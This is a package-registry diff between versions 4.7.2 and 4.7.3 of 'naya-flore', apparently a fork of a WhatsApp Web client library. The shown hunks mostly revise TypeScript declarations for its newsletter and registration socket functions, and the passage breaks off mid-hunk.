naya-flore 4.7.2 → 4.7.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +0 -104
- package/WAProto/WAProto.proto +89 -1195
- package/WAProto/index.d.ts +1256 -13195
- package/WAProto/index.js +11405 -32544
- package/lib/Defaults/baileys-version.json +1 -1
- package/lib/Defaults/index.d.ts +0 -231
- package/lib/Defaults/index.js +102 -92
- package/lib/Defaults/phonenumber-mcc.json +221 -221
- package/lib/Signal/libsignal.js +9 -18
- package/lib/Socket/Client/abstract-socket-client.d.ts +2 -0
- package/lib/Socket/Client/index.d.ts +3 -2
- package/lib/Socket/Client/index.js +3 -2
- package/lib/Socket/Client/mobile-socket-client.d.ts +1 -0
- package/lib/Socket/Client/{websocket.d.ts → web-socket-client.d.ts} +1 -1
- package/lib/Socket/Client/{websocket.js → web-socket-client.js} +2 -2
- package/lib/Socket/business.d.ts +43 -42
- package/lib/Socket/chats.d.ts +8 -9
- package/lib/Socket/chats.js +34 -41
- package/lib/Socket/groups.d.ts +7 -7
- package/lib/Socket/groups.js +4 -2
- package/lib/Socket/index.d.ts +52 -51
- package/lib/Socket/messages-recv.d.ts +42 -41
- package/lib/Socket/messages-recv.js +127 -190
- package/lib/Socket/messages-send.d.ts +9 -16
- package/lib/Socket/messages-send.js +316 -467
- package/lib/Socket/newsletter.d.ts +28 -26
- package/lib/Socket/newsletter.js +3 -3
- package/lib/Socket/registration.d.ts +52 -49
- package/lib/Socket/registration.js +7 -7
- package/lib/Socket/socket.d.ts +0 -1
- package/lib/Socket/socket.js +23 -49
- package/lib/Socket/usync.d.ts +10 -11
- package/lib/Store/index.d.ts +2 -2
- package/lib/Store/index.js +2 -2
- package/lib/Store/make-cache-manager-store.d.ts +0 -1
- package/lib/Store/make-in-memory-store.js +1 -5
- package/lib/Store/make-ordered-dictionary.d.ts +1 -1
- package/lib/Types/Auth.d.ts +1 -0
- package/lib/Types/Call.d.ts +1 -1
- package/lib/Types/Chat.d.ts +7 -12
- package/lib/Types/Events.d.ts +2 -17
- package/lib/Types/GroupMetadata.d.ts +2 -3
- package/lib/Types/Label.d.ts +0 -11
- package/lib/Types/Label.js +1 -1
- package/lib/Types/LabelAssociation.js +1 -1
- package/lib/Types/Message.d.ts +10 -170
- package/lib/Types/Newsletter.js +3 -3
- package/lib/Types/Socket.d.ts +4 -7
- package/lib/Types/index.d.ts +0 -9
- package/lib/Types/index.js +1 -1
- package/lib/Utils/auth-utils.js +3 -3
- package/lib/Utils/business.d.ts +1 -1
- package/lib/Utils/business.js +2 -2
- package/lib/Utils/chat-utils.d.ts +12 -11
- package/lib/Utils/chat-utils.js +26 -42
- package/lib/Utils/crypto.d.ts +16 -15
- package/lib/Utils/crypto.js +23 -35
- package/lib/Utils/decode-wa-message.d.ts +0 -17
- package/lib/Utils/decode-wa-message.js +15 -43
- package/lib/Utils/generics.d.ts +17 -13
- package/lib/Utils/generics.js +15 -25
- package/lib/Utils/history.d.ts +2 -6
- package/lib/Utils/history.js +6 -4
- package/lib/Utils/logger.d.ts +3 -1
- package/lib/Utils/make-mutex.d.ts +2 -2
- package/lib/Utils/messages-media.d.ts +28 -25
- package/lib/Utils/messages-media.js +47 -38
- package/lib/Utils/messages.js +41 -454
- package/lib/Utils/noise-handler.d.ts +5 -4
- package/lib/Utils/process-message.js +2 -2
- package/lib/Utils/signal.d.ts +1 -2
- package/lib/Utils/signal.js +19 -11
- package/lib/Utils/use-multi-file-auth-state.d.ts +1 -0
- package/lib/Utils/use-multi-file-auth-state.js +3 -11
- package/lib/Utils/validate-connection.d.ts +1 -1
- package/lib/Utils/validate-connection.js +1 -1
- package/lib/WABinary/decode.d.ts +2 -1
- package/lib/WABinary/decode.js +7 -17
- package/lib/WABinary/encode.d.ts +2 -1
- package/lib/WABinary/encode.js +17 -33
- package/lib/WABinary/generic-utils.d.ts +3 -2
- package/lib/WABinary/generic-utils.js +2 -2
- package/lib/WABinary/jid-utils.d.ts +1 -1
- package/lib/WAM/BinaryInfo.d.ts +11 -2
- package/lib/WAM/encode.d.ts +2 -1
- package/lib/WAUSync/Protocols/USyncStatusProtocol.js +3 -3
- package/lib/WAUSync/Protocols/UsyncBotProfileProtocol.d.ts +25 -0
- package/lib/WAUSync/Protocols/UsyncBotProfileProtocol.js +53 -0
- package/lib/WAUSync/Protocols/UsyncLIDProtocol.d.ts +8 -0
- package/lib/WAUSync/Protocols/UsyncLIDProtocol.js +24 -0
- package/lib/WAUSync/USyncQuery.d.ts +2 -0
- package/lib/WAUSync/USyncQuery.js +10 -0
- package/lib/WAUSync/USyncUser.d.ts +2 -0
- package/lib/WAUSync/USyncUser.js +4 -0
- package/lib/index.d.ts +0 -1
- package/lib/index.js +0 -1
- package/package.json +19 -32
- package/lib/Socket/Client/types.d.ts +0 -17
- package/lib/Socket/Client/types.js +0 -13
@@ -1,3 +1,4 @@
|
|
1
|
+
/// <reference types="node" />
|
1
2
|
import { NewsletterFetchedUpdate, NewsletterMetadata, NewsletterReactionMode, NewsletterViewRole, SocketConfig, WAMediaUpload } from '../Types';
|
2
3
|
import { BinaryNode } from '../WABinary';
|
3
4
|
export declare const makeNewsletterSocket: (config: SocketConfig) => {
|
@@ -13,9 +14,9 @@ export declare const makeNewsletterSocket: (config: SocketConfig) => {
|
|
13
14
|
newsletterFollow: (jid: string) => Promise<void>;
|
14
15
|
newsletterUnmute: (jid: string) => Promise<void>;
|
15
16
|
newsletterMute: (jid: string) => Promise<void>;
|
16
|
-
newsletterAction: (jid: string, type:
|
17
|
-
newsletterCreate: (name: string, description: string) => Promise<NewsletterMetadata>;
|
18
|
-
newsletterMetadata: (type:
|
17
|
+
newsletterAction: (jid: string, type: 'follow' | 'unfollow' | 'mute' | 'unmute') => Promise<void>;
|
18
|
+
newsletterCreate: (name: string, description: string, reaction_codes: string) => Promise<NewsletterMetadata>;
|
19
|
+
newsletterMetadata: (type: 'invite' | 'jid', key: string, role?: NewsletterViewRole) => Promise<NewsletterMetadata>;
|
19
20
|
newsletterAdminCount: (jid: string) => Promise<number>;
|
20
21
|
/**user is Lid, not Jid */
|
21
22
|
newsletterChangeOwner: (jid: string, user: string) => Promise<void>;
|
@@ -24,7 +25,7 @@ export declare const makeNewsletterSocket: (config: SocketConfig) => {
|
|
24
25
|
newsletterDelete: (jid: string) => Promise<void>;
|
25
26
|
/**if code wasn't passed, the reaction will be removed (if is reacted) */
|
26
27
|
newsletterReactMessage: (jid: string, serverId: string, code?: string) => Promise<void>;
|
27
|
-
newsletterFetchMessages: (type:
|
28
|
+
newsletterFetchMessages: (type: 'invite' | 'jid', key: string, count: number, after?: number) => Promise<NewsletterFetchedUpdate[]>;
|
28
29
|
newsletterFetchUpdates: (jid: string, count: number, after?: number, since?: number) => Promise<NewsletterFetchedUpdate[]>;
|
29
30
|
groupMetadata: (jid: string) => Promise<import("../Types").GroupMetadata>;
|
30
31
|
groupCreate: (subject: string, participants: string[]) => Promise<import("../Types").GroupMetadata>;
|
@@ -33,7 +34,7 @@ export declare const makeNewsletterSocket: (config: SocketConfig) => {
|
|
33
34
|
groupRequestParticipantsList: (jid: string) => Promise<{
|
34
35
|
[key: string]: string;
|
35
36
|
}[]>;
|
36
|
-
groupRequestParticipantsUpdate: (jid: string, participants: string[], action: "
|
37
|
+
groupRequestParticipantsUpdate: (jid: string, participants: string[], action: "reject" | "approve") => Promise<{
|
37
38
|
status: string;
|
38
39
|
jid: string;
|
39
40
|
}[]>;
|
@@ -42,34 +43,35 @@ export declare const makeNewsletterSocket: (config: SocketConfig) => {
|
|
42
43
|
jid: string;
|
43
44
|
content: BinaryNode;
|
44
45
|
}[]>;
|
45
|
-
groupUpdateDescription: (jid: string, description?: string) => Promise<void>;
|
46
|
+
groupUpdateDescription: (jid: string, description?: string | undefined) => Promise<void>;
|
46
47
|
groupInviteCode: (jid: string) => Promise<string | undefined>;
|
47
48
|
groupRevokeInvite: (jid: string) => Promise<string | undefined>;
|
48
49
|
groupAcceptInvite: (code: string) => Promise<string | undefined>;
|
49
50
|
groupAcceptInviteV4: (key: string | import("../Types").WAProto.IMessageKey, inviteMessage: import("../Types").WAProto.Message.IGroupInviteMessage) => Promise<string>;
|
50
51
|
groupGetInviteInfo: (code: string) => Promise<import("../Types").GroupMetadata>;
|
51
52
|
groupToggleEphemeral: (jid: string, ephemeralExpiration: number) => Promise<void>;
|
52
|
-
groupSettingUpdate: (jid: string, setting: "announcement" | "
|
53
|
-
groupMemberAddMode: (jid: string, mode: "
|
53
|
+
groupSettingUpdate: (jid: string, setting: "announcement" | "locked" | "not_announcement" | "unlocked") => Promise<void>;
|
54
|
+
groupMemberAddMode: (jid: string, mode: "all_member_add" | "admin_add") => Promise<void>;
|
54
55
|
groupJoinApprovalMode: (jid: string, mode: "on" | "off") => Promise<void>;
|
55
56
|
groupFetchAllParticipating: () => Promise<{
|
56
57
|
[_: string]: import("../Types").GroupMetadata;
|
57
58
|
}>;
|
58
59
|
processingMutex: {
|
59
|
-
mutex<T>(code: () =>
|
60
|
+
mutex<T>(code: () => T | Promise<T>): Promise<T>;
|
60
61
|
};
|
61
62
|
fetchPrivacySettings: (force?: boolean) => Promise<{
|
62
63
|
[_: string]: string;
|
63
64
|
}>;
|
64
65
|
upsertMessage: (msg: import("../Types").WAProto.IWebMessageInfo, type: import("../Types").MessageUpsertType) => Promise<void>;
|
65
66
|
appPatch: (patchCreate: import("../Types").WAPatchCreate) => Promise<void>;
|
66
|
-
sendPresenceUpdate: (type: import("../Types").WAPresence, toJid?: string) => Promise<void>;
|
67
|
-
presenceSubscribe: (toJid: string, tcToken?: Buffer) => Promise<void>;
|
68
|
-
profilePictureUrl: (jid: string, type?: "
|
67
|
+
sendPresenceUpdate: (type: import("../Types").WAPresence, toJid?: string | undefined) => Promise<void>;
|
68
|
+
presenceSubscribe: (toJid: string, tcToken?: Buffer | undefined) => Promise<void>;
|
69
|
+
profilePictureUrl: (jid: string, type?: "image" | "preview", timeoutMs?: number | undefined) => Promise<string | undefined>;
|
69
70
|
onWhatsApp: (...jids: string[]) => Promise<{
|
70
|
-
exists: boolean;
|
71
71
|
jid: string;
|
72
|
-
|
72
|
+
exists: unknown;
|
73
|
+
lid: unknown;
|
74
|
+
}[] | undefined>;
|
73
75
|
fetchBlocklist: () => Promise<string[]>;
|
74
76
|
fetchStatus: (jid: string) => Promise<{
|
75
77
|
status: string | undefined;
|
@@ -87,25 +89,25 @@ export declare const makeNewsletterSocket: (config: SocketConfig) => {
|
|
87
89
|
updateReadReceiptsPrivacy: (value: import("../Types").WAReadReceiptsValue) => Promise<void>;
|
88
90
|
updateGroupsAddPrivacy: (value: import("../Types").WAPrivacyValue) => Promise<void>;
|
89
91
|
updateDefaultDisappearingMode: (duration: number) => Promise<void>;
|
90
|
-
getBusinessProfile: (jid: string) => Promise<import("../Types").WABusinessProfile
|
92
|
+
getBusinessProfile: (jid: string) => Promise<void | import("../Types").WABusinessProfile>;
|
91
93
|
resyncAppState: (collections: readonly ("critical_block" | "critical_unblock_low" | "regular_high" | "regular_low" | "regular")[], isInitialSync: boolean) => Promise<void>;
|
92
94
|
chatModify: (mod: import("../Types").ChatModification, jid: string) => Promise<void>;
|
93
|
-
cleanDirtyBits: (type: "account_sync" | "groups", fromTimestamp?: number |
|
95
|
+
cleanDirtyBits: (type: "account_sync" | "groups", fromTimestamp?: string | number | undefined) => Promise<void>;
|
94
96
|
addChatLabel: (jid: string, labelId: string) => Promise<void>;
|
95
97
|
removeChatLabel: (jid: string, labelId: string) => Promise<void>;
|
96
98
|
addMessageLabel: (jid: string, messageId: string, labelId: string) => Promise<void>;
|
97
99
|
removeMessageLabel: (jid: string, messageId: string, labelId: string) => Promise<void>;
|
98
100
|
star: (jid: string, messages: {
|
99
101
|
id: string;
|
100
|
-
fromMe?: boolean;
|
102
|
+
fromMe?: boolean | undefined;
|
101
103
|
}[], star: boolean) => Promise<void>;
|
102
104
|
type: "md";
|
103
105
|
ws: any;
|
104
106
|
ev: import("../Types").BaileysEventEmitter & {
|
105
|
-
process(handler: (events: Partial<import("../Types").BaileysEventMap>) => void | Promise<void>): (
|
107
|
+
process(handler: (events: Partial<import("../Types").BaileysEventMap>) => void | Promise<void>): () => void;
|
106
108
|
buffer(): void;
|
107
|
-
createBufferedFunction<A extends any[],
|
108
|
-
flush(force?: boolean): boolean;
|
109
|
+
createBufferedFunction<A extends any[], T_1>(work: (...args: A) => Promise<T_1>): (...args: A) => Promise<T_1>;
|
110
|
+
flush(force?: boolean | undefined): boolean;
|
109
111
|
isBuffering(): boolean;
|
110
112
|
};
|
111
113
|
authState: {
|
@@ -115,18 +117,18 @@ export declare const makeNewsletterSocket: (config: SocketConfig) => {
|
|
115
117
|
signalRepository: import("../Types").SignalRepository;
|
116
118
|
user: import("../Types").Contact | undefined;
|
117
119
|
generateMessageTag: () => string;
|
118
|
-
query: (node: BinaryNode, timeoutMs?: number) => Promise<BinaryNode>;
|
119
|
-
waitForMessage: <
|
120
|
+
query: (node: BinaryNode, timeoutMs?: number | undefined) => Promise<BinaryNode>;
|
121
|
+
waitForMessage: <T_2>(msgId: string, timeoutMs?: number | undefined) => Promise<T_2>;
|
120
122
|
waitForSocketOpen: () => Promise<void>;
|
121
123
|
sendRawMessage: (data: Uint8Array | Buffer) => Promise<void>;
|
122
124
|
sendNode: (frame: BinaryNode) => Promise<void>;
|
123
|
-
logout: (msg?: string) => Promise<void>;
|
125
|
+
logout: (msg?: string | undefined) => Promise<void>;
|
124
126
|
end: (error: Error | undefined) => void;
|
125
|
-
onUnexpectedError: (err: Error | Boom
|
127
|
+
onUnexpectedError: (err: Error | import("@hapi/boom").Boom<any>, msg: string) => void;
|
126
128
|
uploadPreKeys: (count?: number) => Promise<void>;
|
127
129
|
uploadPreKeysToServerIfRequired: () => Promise<void>;
|
128
|
-
requestPairingCode: (phoneNumber: string
|
129
|
-
waitForConnectionUpdate: (check: (u: Partial<import("../Types").ConnectionState>) => boolean | undefined, timeoutMs?: number) => Promise<void>;
|
130
|
+
requestPairingCode: (phoneNumber: string) => Promise<string>;
|
131
|
+
waitForConnectionUpdate: (check: (u: Partial<import("../Types").ConnectionState>) => boolean | undefined, timeoutMs?: number | undefined) => Promise<void>;
|
130
132
|
sendWAMBuffer: (wamBuffer: Buffer) => Promise<BinaryNode>;
|
131
133
|
};
|
132
134
|
export declare const extractNewsletterMetadata: (node: BinaryNode, isCreate?: boolean) => NewsletterMetadata;
|
package/lib/Socket/newsletter.js
CHANGED
@@ -115,9 +115,9 @@ const makeNewsletterSocket = (config) => {
|
|
115
115
|
await newsletterWMexQuery(jid, Types_1.QueryIds.MUTE);
|
116
116
|
},
|
117
117
|
newsletterAction: async (jid, type) => {
|
118
|
-
await newsletterWMexQuery(jid,
|
118
|
+
await newsletterWMexQuery(jid, type.toUpperCase());
|
119
119
|
},
|
120
|
-
newsletterCreate: async (name, description) => {
|
120
|
+
newsletterCreate: async (name, description, reaction_codes) => {
|
121
121
|
//TODO: Implement TOS system wide for Meta AI, communities, and here etc.
|
122
122
|
/**tos query */
|
123
123
|
await query({
|
@@ -140,7 +140,7 @@ const makeNewsletterSocket = (config) => {
|
|
140
140
|
]
|
141
141
|
});
|
142
142
|
const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.CREATE, {
|
143
|
-
input: { name, description, settings:
|
143
|
+
input: { name, description, settings: { 'reaction_codes': { value: reaction_codes.toUpperCase() } } }
|
144
144
|
});
|
145
145
|
return (0, exports.extractNewsletterMetadata)(result, true);
|
146
146
|
},
|
@@ -1,15 +1,16 @@
|
|
1
|
-
|
1
|
+
/// <reference types="node" />
|
2
|
+
import { AxiosRequestConfig } from 'axios';
|
2
3
|
import { KeyPair, SignedKeyPair, SocketConfig } from '../Types';
|
3
4
|
export declare const makeRegistrationSocket: (config: SocketConfig) => {
|
4
5
|
register: (code: string) => Promise<ExistsResponse>;
|
5
6
|
requestRegistrationCode: (registrationOptions?: RegistrationOptions) => Promise<ExistsResponse>;
|
6
|
-
logger: Logger
|
7
|
+
logger: import("pino").Logger<import("pino").LoggerOptions>;
|
7
8
|
getOrderDetails: (orderId: string, tokenBase64: string) => Promise<import("../Types").OrderDetails>;
|
8
9
|
getCatalog: ({ jid, limit, cursor }: import("../Types").GetCatalogOptions) => Promise<{
|
9
10
|
products: import("../Types").Product[];
|
10
|
-
nextPageCursor:
|
11
|
+
nextPageCursor: string | undefined;
|
11
12
|
}>;
|
12
|
-
getCollections: (jid?: string, limit?: number) => Promise<{
|
13
|
+
getCollections: (jid?: string | undefined, limit?: number) => Promise<{
|
13
14
|
collections: import("../Types").CatalogCollection[];
|
14
15
|
}>;
|
15
16
|
productCreate: (create: import("../Types").ProductCreate) => Promise<import("../Types").Product>;
|
@@ -17,26 +18,27 @@ export declare const makeRegistrationSocket: (config: SocketConfig) => {
|
|
17
18
|
deleted: number;
|
18
19
|
}>;
|
19
20
|
productUpdate: (productId: string, update: import("../Types").ProductUpdate) => Promise<import("../Types").Product>;
|
20
|
-
sendMessageAck: ({ tag, attrs, content }: import("../WABinary").BinaryNode
|
21
|
+
sendMessageAck: ({ tag, attrs, content }: import("../WABinary").BinaryNode) => Promise<void>;
|
21
22
|
sendRetryRequest: (node: import("../WABinary").BinaryNode, forceIncludeKeys?: boolean) => Promise<void>;
|
22
23
|
offerCall: (toJid: string, isVideo?: boolean) => Promise<{
|
23
|
-
id:
|
24
|
+
id: string;
|
24
25
|
to: string;
|
25
26
|
}>;
|
26
27
|
rejectCall: (callId: string, callFrom: string) => Promise<void>;
|
27
|
-
fetchMessageHistory: (count: number, oldestMsgKey: import("../Types").WAMessageKey, oldestMsgTimestamp: number) => Promise<string>;
|
28
|
-
requestPlaceholderResend: (messageKey: import("../Types").WAMessageKey) => Promise<string | undefined>;
|
29
28
|
getPrivacyTokens: (jids: string[]) => Promise<import("../WABinary").BinaryNode>;
|
30
29
|
assertSessions: (jids: string[], force: boolean) => Promise<boolean>;
|
31
30
|
relayMessage: (jid: string, message: import("../Types").WAProto.IMessage, { messageId: msgId, participant, additionalAttributes, additionalNodes, useUserDevicesCache, cachedGroupMetadata, statusJidList }: import("../Types").MessageRelayOptions) => Promise<string>;
|
32
31
|
sendReceipt: (jid: string, participant: string | undefined, messageIds: string[], type: import("../Types").MessageReceiptType) => Promise<void>;
|
33
|
-
sendReceipts: (keys: import("../Types").
|
34
|
-
getButtonArgs: (message: import("../Types").WAProto.IMessage) =>
|
35
|
-
|
32
|
+
sendReceipts: (keys: import("../Types").WAProto.IMessageKey[], type: import("../Types").MessageReceiptType) => Promise<void>;
|
33
|
+
getButtonArgs: (message: import("../Types").WAProto.IMessage) => {
|
34
|
+
[key: string]: string;
|
35
|
+
};
|
36
|
+
readMessages: (keys: import("../Types").WAProto.IMessageKey[]) => Promise<void>;
|
36
37
|
refreshMediaConn: (forceGet?: boolean) => Promise<import("../Types").MediaConnInfo>;
|
37
38
|
getUSyncDevices: (jids: string[], useCache: boolean, ignoreZeroDevices: boolean) => Promise<import("../WABinary").JidWithDevice[]>;
|
38
|
-
|
39
|
-
|
39
|
+
createParticipantNodes: (jids: string[], message: import("../Types").WAProto.IMessage, extraAttrs?: {
|
40
|
+
[key: string]: string;
|
41
|
+
} | undefined) => Promise<{
|
40
42
|
nodes: import("../WABinary").BinaryNode[];
|
41
43
|
shouldIncludeDeviceIdentity: boolean;
|
42
44
|
}>;
|
@@ -45,14 +47,12 @@ export declare const makeRegistrationSocket: (config: SocketConfig) => {
|
|
45
47
|
[_: string]: string;
|
46
48
|
}>;
|
47
49
|
updateMediaMessage: (message: import("../Types").WAProto.IWebMessageInfo) => Promise<import("../Types").WAProto.IWebMessageInfo>;
|
48
|
-
sendStatusMentions: (content: import("../Types").AnyMessageContent, jids?: string[]) => Promise<import("../Types").WAProto.WebMessageInfo>;
|
49
|
-
sendAlbumMessage: (jid: string, medias: import("../Types").Media[], options?: import("../Types").MiscMessageGenerationOptions) => Promise<import("../Types").WAProto.WebMessageInfo>;
|
50
50
|
sendMessage: (jid: string, content: import("../Types").AnyMessageContent, options?: import("../Types").MiscMessageGenerationOptions) => Promise<import("../Types").WAProto.WebMessageInfo | undefined>;
|
51
51
|
subscribeNewsletterUpdates: (jid: string) => Promise<{
|
52
52
|
duration: string;
|
53
53
|
}>;
|
54
54
|
newsletterReactionMode: (jid: string, mode: import("../Types").NewsletterReactionMode) => Promise<void>;
|
55
|
-
newsletterUpdateDescription: (jid: string, description?: string) => Promise<void>;
|
55
|
+
newsletterUpdateDescription: (jid: string, description?: string | undefined) => Promise<void>;
|
56
56
|
newsletterUpdateName: (jid: string, name: string) => Promise<void>;
|
57
57
|
newsletterUpdatePicture: (jid: string, content: import("../Types").WAMediaUpload) => Promise<void>;
|
58
58
|
newsletterRemovePicture: (jid: string) => Promise<void>;
|
@@ -60,24 +60,27 @@ export declare const makeRegistrationSocket: (config: SocketConfig) => {
|
|
60
60
|
newsletterFollow: (jid: string) => Promise<void>;
|
61
61
|
newsletterUnmute: (jid: string) => Promise<void>;
|
62
62
|
newsletterMute: (jid: string) => Promise<void>;
|
63
|
-
newsletterAction: (jid: string, type: "
|
64
|
-
newsletterCreate: (name: string, description: string) => Promise<import("../Types").NewsletterMetadata>;
|
65
|
-
newsletterMetadata: (type: "invite" | "jid", key: string, role?: import("../Types").NewsletterViewRole) => Promise<import("../Types").NewsletterMetadata>;
|
63
|
+
newsletterAction: (jid: string, type: "mute" | "follow" | "unfollow" | "unmute") => Promise<void>;
|
64
|
+
newsletterCreate: (name: string, description: string, reaction_codes: string) => Promise<import("../Types").NewsletterMetadata>;
|
65
|
+
newsletterMetadata: (type: "invite" | "jid", key: string, role?: import("../Types").NewsletterViewRole | undefined) => Promise<import("../Types").NewsletterMetadata>;
|
66
66
|
newsletterAdminCount: (jid: string) => Promise<number>;
|
67
67
|
newsletterChangeOwner: (jid: string, user: string) => Promise<void>;
|
68
68
|
newsletterDemote: (jid: string, user: string) => Promise<void>;
|
69
69
|
newsletterDelete: (jid: string) => Promise<void>;
|
70
|
-
newsletterReactMessage: (jid: string, serverId: string, code?: string) => Promise<void>;
|
71
|
-
newsletterFetchMessages: (type: "invite" | "jid", key: string, count: number, after?: number) => Promise<import("../Types").NewsletterFetchedUpdate[]>;
|
72
|
-
newsletterFetchUpdates: (jid: string, count: number, after?: number, since?: number) => Promise<import("../Types").NewsletterFetchedUpdate[]>;
|
70
|
+
newsletterReactMessage: (jid: string, serverId: string, code?: string | undefined) => Promise<void>;
|
71
|
+
newsletterFetchMessages: (type: "invite" | "jid", key: string, count: number, after?: number | undefined) => Promise<import("../Types").NewsletterFetchedUpdate[]>;
|
72
|
+
newsletterFetchUpdates: (jid: string, count: number, after?: number | undefined, since?: number | undefined) => Promise<import("../Types").NewsletterFetchedUpdate[]>;
|
73
73
|
groupMetadata: (jid: string) => Promise<import("../Types").GroupMetadata>;
|
74
74
|
groupCreate: (subject: string, participants: string[]) => Promise<import("../Types").GroupMetadata>;
|
75
75
|
groupLeave: (id: string) => Promise<void>;
|
76
|
+
/** the network code of your mobile network
|
77
|
+
* @see {@link https://de.wikipedia.org/wiki/Mobile_Network_Code}
|
78
|
+
*/
|
76
79
|
groupUpdateSubject: (jid: string, subject: string) => Promise<void>;
|
77
80
|
groupRequestParticipantsList: (jid: string) => Promise<{
|
78
81
|
[key: string]: string;
|
79
82
|
}[]>;
|
80
|
-
groupRequestParticipantsUpdate: (jid: string, participants: string[], action: "
|
83
|
+
groupRequestParticipantsUpdate: (jid: string, participants: string[], action: "reject" | "approve") => Promise<{
|
81
84
|
status: string;
|
82
85
|
jid: string;
|
83
86
|
}[]>;
|
@@ -86,27 +89,27 @@ export declare const makeRegistrationSocket: (config: SocketConfig) => {
|
|
86
89
|
jid: string;
|
87
90
|
content: import("../WABinary").BinaryNode;
|
88
91
|
}[]>;
|
89
|
-
groupUpdateDescription: (jid: string, description?: string) => Promise<void>;
|
92
|
+
groupUpdateDescription: (jid: string, description?: string | undefined) => Promise<void>;
|
90
93
|
groupInviteCode: (jid: string) => Promise<string | undefined>;
|
91
94
|
groupRevokeInvite: (jid: string) => Promise<string | undefined>;
|
92
95
|
groupAcceptInvite: (code: string) => Promise<string | undefined>;
|
93
96
|
groupAcceptInviteV4: (key: string | import("../Types").WAProto.IMessageKey, inviteMessage: import("../Types").WAProto.Message.IGroupInviteMessage) => Promise<string>;
|
94
97
|
groupGetInviteInfo: (code: string) => Promise<import("../Types").GroupMetadata>;
|
95
98
|
groupToggleEphemeral: (jid: string, ephemeralExpiration: number) => Promise<void>;
|
96
|
-
groupSettingUpdate: (jid: string, setting: "announcement" | "
|
97
|
-
groupMemberAddMode: (jid: string, mode: "
|
99
|
+
groupSettingUpdate: (jid: string, setting: "announcement" | "locked" | "not_announcement" | "unlocked") => Promise<void>;
|
100
|
+
groupMemberAddMode: (jid: string, mode: "all_member_add" | "admin_add") => Promise<void>;
|
98
101
|
groupJoinApprovalMode: (jid: string, mode: "on" | "off") => Promise<void>;
|
99
102
|
groupFetchAllParticipating: () => Promise<{
|
100
103
|
[_: string]: import("../Types").GroupMetadata;
|
101
104
|
}>;
|
102
105
|
processingMutex: {
|
103
|
-
mutex<T>(code: () =>
|
106
|
+
mutex<T>(code: () => T | Promise<T>): Promise<T>;
|
104
107
|
};
|
105
108
|
upsertMessage: (msg: import("../Types").WAProto.IWebMessageInfo, type: import("../Types").MessageUpsertType) => Promise<void>;
|
106
109
|
appPatch: (patchCreate: import("../Types").WAPatchCreate) => Promise<void>;
|
107
|
-
sendPresenceUpdate: (type: import("../Types").WAPresence, toJid?: string) => Promise<void>;
|
108
|
-
presenceSubscribe: (toJid: string, tcToken?: Buffer) => Promise<void>;
|
109
|
-
profilePictureUrl: (jid: string, type?: "
|
110
|
+
sendPresenceUpdate: (type: import("../Types").WAPresence, toJid?: string | undefined) => Promise<void>;
|
111
|
+
presenceSubscribe: (toJid: string, tcToken?: Buffer | undefined) => Promise<void>;
|
112
|
+
profilePictureUrl: (jid: string, type?: "image" | "preview", timeoutMs?: number | undefined) => Promise<string | undefined>;
|
110
113
|
onWhatsApp: (...jids: string[]) => Promise<{
|
111
114
|
exists: boolean;
|
112
115
|
jid: string;
|
@@ -128,25 +131,25 @@ export declare const makeRegistrationSocket: (config: SocketConfig) => {
|
|
128
131
|
updateReadReceiptsPrivacy: (value: import("../Types").WAReadReceiptsValue) => Promise<void>;
|
129
132
|
updateGroupsAddPrivacy: (value: import("../Types").WAPrivacyValue) => Promise<void>;
|
130
133
|
updateDefaultDisappearingMode: (duration: number) => Promise<void>;
|
131
|
-
getBusinessProfile: (jid: string) => Promise<import("../Types").WABusinessProfile
|
134
|
+
getBusinessProfile: (jid: string) => Promise<void | import("../Types").WABusinessProfile>;
|
132
135
|
resyncAppState: (collections: readonly ("critical_block" | "critical_unblock_low" | "regular_high" | "regular_low" | "regular")[], isInitialSync: boolean) => Promise<void>;
|
133
136
|
chatModify: (mod: import("../Types").ChatModification, jid: string) => Promise<void>;
|
134
|
-
cleanDirtyBits: (type: "account_sync" | "groups", fromTimestamp?: number |
|
137
|
+
cleanDirtyBits: (type: "account_sync" | "groups", fromTimestamp?: string | number | undefined) => Promise<void>;
|
135
138
|
addChatLabel: (jid: string, labelId: string) => Promise<void>;
|
136
139
|
removeChatLabel: (jid: string, labelId: string) => Promise<void>;
|
137
140
|
addMessageLabel: (jid: string, messageId: string, labelId: string) => Promise<void>;
|
138
141
|
removeMessageLabel: (jid: string, messageId: string, labelId: string) => Promise<void>;
|
139
142
|
star: (jid: string, messages: {
|
140
143
|
id: string;
|
141
|
-
fromMe?: boolean;
|
144
|
+
fromMe?: boolean | undefined;
|
142
145
|
}[], star: boolean) => Promise<void>;
|
143
146
|
type: "md";
|
144
147
|
ws: any;
|
145
148
|
ev: import("../Types").BaileysEventEmitter & {
|
146
|
-
process(handler: (events: Partial<import("../Types").BaileysEventMap>) => void | Promise<void>): (
|
149
|
+
process(handler: (events: Partial<import("../Types").BaileysEventMap>) => void | Promise<void>): () => void;
|
147
150
|
buffer(): void;
|
148
|
-
createBufferedFunction<A extends any[],
|
149
|
-
flush(force?: boolean): boolean;
|
151
|
+
createBufferedFunction<A extends any[], T_1>(work: (...args: A) => Promise<T_1>): (...args: A) => Promise<T_1>;
|
152
|
+
flush(force?: boolean | undefined): boolean;
|
150
153
|
isBuffering(): boolean;
|
151
154
|
};
|
152
155
|
authState: {
|
@@ -156,18 +159,18 @@ export declare const makeRegistrationSocket: (config: SocketConfig) => {
|
|
156
159
|
signalRepository: import("../Types").SignalRepository;
|
157
160
|
user: import("../Types").Contact | undefined;
|
158
161
|
generateMessageTag: () => string;
|
159
|
-
query: (node: import("../WABinary").BinaryNode, timeoutMs?: number) => Promise<import("../WABinary").BinaryNode>;
|
160
|
-
waitForMessage: <
|
162
|
+
query: (node: import("../WABinary").BinaryNode, timeoutMs?: number | undefined) => Promise<import("../WABinary").BinaryNode>;
|
163
|
+
waitForMessage: <T_2>(msgId: string, timeoutMs?: number | undefined) => Promise<T_2>;
|
161
164
|
waitForSocketOpen: () => Promise<void>;
|
162
165
|
sendRawMessage: (data: Uint8Array | Buffer) => Promise<void>;
|
163
166
|
sendNode: (frame: import("../WABinary").BinaryNode) => Promise<void>;
|
164
|
-
logout: (msg?: string) => Promise<void>;
|
167
|
+
logout: (msg?: string | undefined) => Promise<void>;
|
165
168
|
end: (error: Error | undefined) => void;
|
166
|
-
onUnexpectedError: (err: Error |
|
169
|
+
onUnexpectedError: (err: Error | import("@hapi/boom").Boom<any>, msg: string) => void;
|
167
170
|
uploadPreKeys: (count?: number) => Promise<void>;
|
